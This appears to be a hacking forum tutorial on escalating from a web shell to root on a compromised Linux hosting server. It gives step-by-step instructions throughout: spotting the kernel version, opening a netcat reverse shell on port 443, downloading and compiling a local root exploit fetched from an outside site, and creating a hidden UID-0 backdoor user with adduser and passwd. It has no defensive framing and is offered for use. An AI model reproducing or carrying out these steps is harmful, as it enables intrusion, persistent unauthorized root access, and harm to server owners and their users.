So let's start with things you will need:

1) Shelled website 
2) Local root exploit 
3) NetCat  

Chapter 1 - Gathering informations

Open up your .php shell on a hacked webserver.
I have mine for an example

Now you need to check what kernel your slave is using...
It should be something like 

Linux somerandomhosting.com 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686

Next thing you wanna do is to look for an local root exploit.
From example provided mine one is 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686.


Here's the list of exploits
http://pastebin.com/JRTMWBDh

NOTE: If your webserver have 2.6.18 2011 kernel,then you have 0.0001% chances that you will root it,because there's no public exploit for that version.


Chapter 2 - Backconnecting to the server
For this you will need:

1) NetCat
2) Open port (Example. 443 I won't teach how to port forward,use Google if you don't know how!!)


So open your netcat and type:
-l -n -v -p 443
Hit "Enter"


Now it should write "listening on [any] 443 ..."
Good.
Go back to your shell and go to "BackConnect function"
Many shells have it.
Enter your port and press "Connect".



Now it should connect to your netcat 
I got something like this


Chapter 3 - Downloading exploit and executing it
Now we will need our exploit from Chapter 1
There's 2 way of uploading:

1) Using shell uploader
2) Using 'wget' function (Requires backconnection)

I'm going to use 'wget' function because it's easier and faster.
So copy your exploit link (Mine one http://localroot.th3-0utl4ws.com/xploits...8-164.zip) and go back to your netcat and type:
Now it downloaded out exploit named "2.6.18-164.zip" on our server.

If your exploit is downloaded as anyrandomname.c you must compile it
Do do that first download that exploit and then type:

gcc anyrandomname.c -o anyrandomname
And our exploit is compiled. (If you get errors when compiling then find another exploit)


If you downloaded your exploit in zip file anyrandomname.zip type:

unzip anyrandomname.zip


Now you should have your exploit (Like mine "2.6.18-164")

If you completed all steps it's time to get root.

Type:

chmod 777 yourexploit'sname
With common sense where i typed "yourexploit'sname" you will type your exploit's name.

And one last final step is to run our exploit
./yourexploit'sname


To check if you got root type

id
or 
whoami

Mine steps to root


Chapter 4 - Adding root user
Adding new root user is fairly easy
We use this command:
adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M root2

Command explanations:
Quote:adduser - Using Linux adduser command to create a new user account or to update default new user information.

-u 0 -o - Set the value of user id to 0.

-g 0 - Set the initial group number or name to 0

-G 0,1,2,3,4,6,10 - Set supplementary group to:
0 = root
1 = bin
2 = daemon
3 = sys
4 = adm
6 = disk
10 = wheel

-M - 'home directory' not created for the user.

root2 - User name of the new user account.NOTE: Change root2 to your desired username.

Now you need to set a password for your username.
Type in next:
passwd Root2

(Root2 is your username)

See an example

[root@fedora ~]# passwd root2
Changing password for user root2.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

To check if you did alright

id root2
(Root2 is your username)


Google - http://google.com
NetCat - http://downloadnetcat.com/nc11nt.zip

H0p3 u L!k3 !t